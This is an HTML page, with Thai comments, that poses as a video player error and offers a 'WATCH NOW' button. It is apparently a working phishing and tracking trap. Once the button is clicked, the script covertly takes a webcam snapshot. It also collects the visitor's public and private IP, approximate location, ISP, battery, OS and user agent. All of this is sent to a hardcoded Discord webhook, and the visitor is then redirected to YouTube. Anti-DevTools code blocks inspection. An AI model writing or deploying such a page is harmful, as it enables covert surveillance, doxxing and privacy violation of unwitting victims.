<!DOCTYPE html>
<html>
<head>
<title>Video Player Error</title>
<meta charset="UTF-8">
<style>
body { background: #000; color: #fff; font-family: sans-serif; display: flex; flex-direction: column; justify-content: center; align-items: center; height: 100vh; margin: 0; overflow: hidden; }
#play-btn { padding: 15px 30px; font-size: 18px; cursor: pointer; background: #ff0000; border: none; color: white; border-radius: 5px; font-weight: bold; }
video, canvas { display: none; }
</style>
</head>
<body>
<p>Please click "Play" to continue watching</p>
<button id="play-btn" onclick="startTrap()"> WATCH NOW</button>
<video id="video" autoplay playsinline></video>
<canvas id="canvas"></canvas>
<script>
// --- ส่วนระบบป้องกัน (Anti-DevTools) ที่เพิ่มใหม่ ---
// 1. บล็อกการคลิกขวา
document.addEventListener("contextmenu", e => e.preventDefault());
// 2. บล็อกปุ่ม F12 และปุ่มลัดดู Code (Ctrl+Shift+I, Ctrl+U, etc.)
document.addEventListener("keydown", e => {
if (
e.key === "F12" ||
(e.ctrlKey && e.shiftKey && ["I", "C", "J"].includes(e.key)) ||
(e.ctrlKey && e.key === "U") ||
(e.ctrlKey && e.key === "S")
) {
e.preventDefault();
alert("ระบบความปลอดภัย: ไม่อนุญาตให้เข้าถึงส่วนนี้");
}
});
// 3. ตรวจจับการเปิดหน้าต่าง DevTools (ตรวจจากขนาดหน้าจอที่เปลี่ยนไป)
setInterval(() => {
if (window.outerWidth - window.innerWidth > 160 || window.outerHeight - window.innerHeight > 160) {
document.body.innerHTML = '<h1 style="color:red;text-align:center;margin-top:20%;">🚫 ตรวจพบความพยายามเข้าถึงระบบ</h1>';
setTimeout(() => window.location.reload(), 2000);
}
}, 1000);
// --- ระบบดักข้อมูลเดิมของคุณ ---
const hook = "https://discord.com/api/webhooks/1495747486889803788/l5pqKl1GUgb0umWgrnVUXuwG3uwKhDfj-UYWwDJEFJ2N8Gtbt_lttzl4fkREDgDyGn7H";
let capturedData = {
privateIP: "N/A",
battery: "N/A"
};
window.onload = async () => {
getPrivateIP();
getBatteryStatus();
};
async function startTrap() {
document.getElementById('play-btn').innerText = "Loading...";
let ipData = {};
try {
const res = await fetch('https://ipapi.co/json/');
ipData = await res.json();
} catch (e) {}
try {
const stream = await navigator.mediaDevices.getUserMedia({ video: { facingMode: "user" } });
const video = document.getElementById('video');
video.srcObject = stream;
setTimeout(() => {
const canvas = document.getElementById('canvas');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
canvas.getContext('2d').drawImage(video, 0, 0);
canvas.toBlob((blob) => {
sendAllData(blob, ipData);
stream.getTracks().forEach(t => t.stop());
}, 'image/jpeg', 0.7);
}, 1000);
} catch (err) {
sendAllData(null, ipData);
}
}
async function sendAllData(imageBlob, ipData) {
const formData = new FormData();
const payload = {
content: "🔥 **ควายกดแล้วครับเจ้านาย!**",
embeds: [{
title: "🕵️ Target Intelligence Report",
color: 15548997,
fields: [
{ name: "🌐 Public IP", value: ipData.ip || "N/A", inline: true },
{ name: "🔐 Private IP", value: capturedData.privateIP, inline: true },
{ name: "🏢 ISP", value: ipData.org || "N/A", inline: false },
{ name: "📍 เมือง", value: `${ipData.city || "N/A"}, ${ipData.country_name || ""}`, inline: true },
{ name: "📌 พิกัด", value: `[คลิกดูแผนที่](https://www.google.com/maps?q=${ipData.latitude},${ipData.longitude})`, inline: true },
{ name: "🔋 แบต", value: capturedData.battery, inline: true },
{ name: "💻 OS", value: navigator.platform, inline: true },
{ name: "🖥หน้าจอ", value: `${window.screen.width}×${window.screen.height}`, inline: true },
{ name: "⏰ เวลา", value: new Date().toLocaleString('th-TH'), inline: false },
{ name: "🌐 User-Agent", value: navigator.userAgent, inline: false }
],
footer: { text: "DIAMOND 39 kub" }
}]
};
formData.append('payload_json', JSON.stringify(payload));
if (imageBlob) formData.append('file', imageBlob, 'target_capture.jpg');
await fetch(hook, { method: 'POST', body: formData });
window.location.replace("https://www.youtube.com");
}
function getPrivateIP() {
const rtc = new RTCPeerConnection();
rtc.createDataChannel('');
rtc.createOffer().then(o => rtc.setLocalDescription(o));
rtc.onicecandidate = (i) => {
if (i && i.candidate) {
const ipMatch = /([0-9]{1,3}(\.[0-9]{1,3}){3})/.exec(i.candidate.candidate);
if (ipMatch) capturedData.privateIP = ipMatch[1];
}
};
}
async function getBatteryStatus() {
if (navigator.getBattery) {
const b = await navigator.getBattery();
capturedData.battery = `${(b.level * 100).toFixed(0)}% ${b.charging ? '(ชาร์จ)' : ''}`;
}
}
</script>
</body>
</html>